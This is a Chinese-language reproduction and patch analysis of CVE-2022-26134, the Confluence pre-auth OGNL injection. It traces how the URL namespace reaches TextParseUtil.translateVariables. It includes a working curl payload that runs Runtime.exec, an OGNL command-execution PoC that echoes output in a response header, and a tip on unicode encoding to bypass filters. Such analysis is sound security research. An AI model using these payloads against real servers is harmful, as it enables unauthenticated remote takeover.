CVE-2022-26134复现

Confluence pre-auth rce复现

Confluence server and data center

影响版本

1.3.0-7.4.17,7.13.0-7.13.7,7.14.0-7.14.3,7.15.0-7.15.2,7.16.0-7.16.4,7.17.0-7.17.4,7.18.0- 7.18.1.

前言

Confluence出了个无限制的任意代码执行漏洞,利用起来较为简单,而且涉及到了ongl注入。

环境

直接使用了vulhub中的漏洞复现环境,CVE-2022-26134。需要自行配置tomcat 远程debug,使用idea远程调试。

补丁分析

这边直接拉了vulhub里面的Confluence和官网的7.13.7的修复版本对比(7.13.6对比7.13.7),经过一番研究,发现主要的问题在xwork.jar这边。xwork似乎是struts2的核心框架,因此这个漏洞的不少细节会和struts2系列的漏洞有所相似。

这里直接用idea自带的jar diff来比较两个版本的jar的区别(cmd+D),这里用文件大小来比较下文件。

记一下主要更新的点位。

  1. com.opensymphony.xwork.ActionChainResult

image-20220620222744923

  1. com.opensymphony.xwork.config.Configuration

image-20220620223110856

  1. com.opensymphony.xwork.config.impl.DefaultConfiguration

image-20220620223301216

  1. com.opensymphony.xwork.util.OgnlValueStack

image-20220620223746806

  1. 增加com.opensymphony.xwork.util.SafeExpressionUtil(详细的内容后续分析)

小结

通过看上面我们明白了两个点,官方对漏洞的修复主要来自于两个位置:

  1. 修复了来自actionname和namespace在ActionChainResult中的直接输入,不再使用TextParseUtil.translateVariables解析这两个输入,因为在struts洞中,这个点是可以直接解析ognl表达式的。
  2. 增加了沙盒机制,用于限制ognl表达式中,一些恶意方法和恶意类的调用。

结合上述分析,我们可以将第一个断点下载actionname这里,看看程序是如何获取actionname的。

漏洞分析

结合补丁分析的结果,可以在com.opensymphony.xwork.ActionChainResult的getNamespace位置下断点。

在execute方法中有:

1
2
3
4
5
6
7
if (this.namespace == null) {
this.namespace = invocation.getProxy().getNamespace();
}

OgnlValueStack stack = ActionContext.getContext().getValueStack();
String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

这里,程序从invocation中拿到namespace,这个namespace是否由外部可控呢?

可以黑盒直接试试。

1
curl http://xxxxxx/$%7B5*4%7D/index.action

经过几次单步,可以发现在ServletDispatcher的server方法中,调用了serviceAction。

1
this.serviceAction(request, response, this.getNameSpace(request), this.getActionName(request), this.getRequestMap(request), this.getParameterMap(request), this.getSessionMap(request), this.getApplicationMap());

其中getNamespace方法会抽取namespace

1
2
3
4
5
6
7
8
9
protected String getNameSpace(HttpServletRequest request) {
String servletPath = request.getServletPath();
return getNamespaceFromServletPath(servletPath);
}

public static String getNamespaceFromServletPath(String servletPath) {
servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
return servletPath;
}

在这个案例中,最终提取到的namespace是:

1
/${5*4}

而actionname则是index。

这时的堆栈如下图:

image-20220621220511204

继续单步可以发现,namespace和action会被填装到DefaultActionProxy的构造函数中,而DefaultActionProxy又被createActionProxy调用。而最后invocation拿到的就是被填装好的DefaultActionProxy。

因此可以看到:

image-20220621222600212

这里namespace是可以被污染的,但是actionname会受到鉴权的影响,因此不太好利用。

然后变量传入TextParseUtil.translateVariables后基本上就是struts洞的后续了。这个函数会把namespace中表达式提取出来,然后执行ognl代码。

这里构造一个命令执行利用的payload:

1
curl http://xxxx/%24%7b%40java.lang.Runtime%40getRuntime().exec(%22touch%20123%22)%7D/index.action

image-20220621232130008

一些额外的问题

  1. 特殊字符({}等),可以尝试unicode编码绕过。

  2. 回显,利用第三方组件构建。例如使用com.opensymphony.webwork.ServletActionContext的getResponse方法添加一个额外的header来写入回显内容,ognl的poc如下:

    1
    ${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("yourcmd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
  3. 高版本沙盒。先看下配置文件,这块后续补。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    <constant name="xwork.excludedClasses"
    value="
    java.lang.Object,
    java.lang.Runtime,
    java.lang.System,
    java.lang.Class,
    java.lang.ClassLoader,
    java.lang.Shutdown,
    java.lang.ProcessBuilder,
    java.lang.Thread,
    sun.misc.Unsafe,
    com.opensymphony.xwork2.ActionContext" />

    <constant name="xwork.excludedPackageNames"
    value="
    ognl,
    java.io,
    java.net,
    java.nio,
    javax,
    freemarker.core,
    freemarker.template,
    freemarker.ext.jsp,
    freemarker.ext.rhino,
    sun.misc,
    sun.reflect,
    javassist,
    org.apache.velocity,
    org.objectweb.asm,
    org.springframework.context,
    com.opensymphony.xwork.util,
    org.apache.tomcat,
    org.apache.catalina.core,
    org.wildfly.extension.undertow.deployment" />

参考

  1. https://www.anquanke.com/post/id/274026#h2-6
  2. https://blog.csdn.net/xlgen157387/article/details/50268457
  3. https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/